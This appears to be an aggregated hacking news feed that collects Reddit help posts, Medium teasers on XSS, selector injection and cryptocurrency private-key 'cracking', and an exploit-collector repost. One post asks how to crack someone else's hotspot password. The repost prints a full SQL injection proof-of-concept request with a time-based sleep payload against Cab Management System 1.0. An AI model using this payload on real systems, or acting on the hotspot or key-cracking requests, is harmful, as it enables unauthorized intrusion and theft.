hacking: security in practice
fire fox showing some random symbols..

i am seeing this random symbols when search anything in fire fox , like this - https://ibb.co/mFqwYVH

I think maybe this is happening because I recently configured its proxy with burpsuite. Does anyone have any idea how to resolve it?

Don't know if this is a right sub for this question but I think this happen because of burpsuite or proxy settings so I posted here...

submitted by /u/ankush822
[link] [comments]

hacking: security in practice
I got hacker

I got hacked

submitted by /u/god_rays
[link] [comments]

hacking: security in practice
I got hacked any advice (User title)

Hi, would someone be kind enough to advise this user - u/Personal-Bid-801 - of their options, or offer a solution to their original post please?

New account/low karma is preventing them posting here, so i thought i would do them a solid and ask.

Thank you

Transcript of original post:

"can anyone help me

my gmail account got hacked i can't access it anymore they say wrong password but it's not and the phone number also changed i also had two factor authentification on but i didn't even get notified about any unusual activity

24hours later my WhatsApp is gone same issue

does anyone understands how that happened or at least direct me to where to ask i want to prevent this in the future

any advice suggestions or anything"

Original post in r/help

Thank you.

submitted by /u/Satanic_soup_dragon
[link] [comments]

hacking: security in practice
What is a good place to start learning.

I heard something about cft's, can someone tell me a good starting point.

submitted by /u/KristerZX
[link] [comments]

hacking: security in practice
Hotspot hack

Hello, I've been meaning to learn or at least see if it's possible to hack someone's hotspot password without them giving us the password at all.

submitted by /u/zargug2
[link] [comments]

hacking: security in practice
Challenge of the Day #01 > Elusive & Fresh: Nashoba Financial Planning - 'Sunglass/Eyewear Wholesaler'

Let us begin with the url. First thing I noticed was their bizarre name for a 'Sunglass online retail store.' However, as many of you ponder...the url may have legacy & they continued with it as it wouldn't mean much;(aside from poor market reach) for Nashoba to sling a massive inventory of a few select brands. I came across this site seeking out a pair of Costa Jose sunglasses. Full blown MSRP, with the glass lenses at brick & motar; ~$230-290. Selling here for ~$65. Other similar Jose variations even less. I've never seen such a repository of shades. Now, I personally did my due diligence trying to vet this company/site. I did not find anything negative or detrimental.But also, nothing at all really. The site is compelling. They require you to make an account. I did so with an offshore, Swiss account. Cannot log in, nor recover password through the standard method. The About info on the company: https://www.nashobafinancialplanning.com/about-us/ Very professionally done website, extremely detailed and providing a clear mission statement as well as disclaimers for the consumer not to be confused with impersonators claiming to be affected with this Florida based company. So, I tried to order the Costa Jose shades. Just sort of a failure in the checkout & payment stage. I called the number listed and it was just once initially answered from a seemingly groggy, older gentleman who seemed to be a chain smoker of downtown brown smokes. He hung up rapidly. I repeatedly called & lrf5 one voicemail. I'm quite resourceful; however not getting anywhere. This is definitely a solid challenge I'd love to investigate with others. Those dialed in know they we work together in a loosely knit network of non Dbags. Respond for any other further information or data you need. Let's Crack this One! It's Fresh.

Peace Brother's & Sisters, cittizin

submitted by /u/cittizin4
[link] [comments]

XSS in hidden input field

Hello again! I’m faizan and today I’m writing about an XSS I found in an input field which was hidden from the page using Content division…Continue reading on Medium »
Read more...

Hacking on Medium
Ethereum Private Key And Address Wallet Crack, Generator With Python

One of the most insecure platforms available in the Atrium blockchain is that as I will show you in this tutorial, you will easily see how…

Continue reading on Medium »

Hacking on Medium
Ethical hacking

https://cdn-images-1.medium.com/max/2600/1*xGMde9uuUeHNIRShrkBRSA.jpeg
An authorized attempt to gain unauthorized access to a computer system, application, or data

Continue reading on Medium »

Hacking on Medium
How To Crack Private Key TRON With Python (Random+Check)

https://cdn-images-1.medium.com/max/1014/1*qlicOr0CvvUAI0qpe6lNfA.jpeg
One of the most baseless and baseless networks in the world of cryptocurrency is the TRON (TRX) platform, which itself uses a series of…

Continue reading on Medium »

Hacking on Medium
101 Beginner facts on Web Pentesting

https://cdn-images-1.medium.com/max/820/1*xY6z0rBO9Um6zYEj2HdCEQ.jpeg
Web Application Penetration Testing is done by simulating unauthorized attacks internally or externally to gain access to sensitive data.

Continue reading on Medium »

Hacking on Medium
Clave maestra para Hive Ransomware recuperada usando una falla en su algoritmo de cifrado

https://cdn-images-1.medium.com/max/1523/0*m5h2UOq1mJfgMEea
PUBLICADO EN 21 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

What an injection into jQuery-selector can lead to
https://medium.com/@skavans_/what-an-injection-into-jquery-selector-can-lead-to-1fcaabfd51e5?source=rss------bug_bounty-5

​I somehow came across a page with something like a user survey (the program is private, so I will speak abstractly).Continue reading on Medium » (https://medium.com/@skavans_/what-an-injection-into-jquery-selector-can-lead-to-1fcaabfd51e5?source=rss------bug_bounty-5)

What an injection into jQuery-selector can lead to

​I somehow came across a page with something like a user survey (the program is private, so I will speak abstractly).Continue reading on Medium »
Read more...

Exploit Collector
Cab Management System 1.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cab Management System 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Cab Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | a1808d21a9c748024812336fa823c23f

Download
# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
#
# Authenticate and get update client settings will be appear the
# id paramater put your payload at there it'll be work
#
#
#
######## Proof of Concept ########

========>>> REQUEST

GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video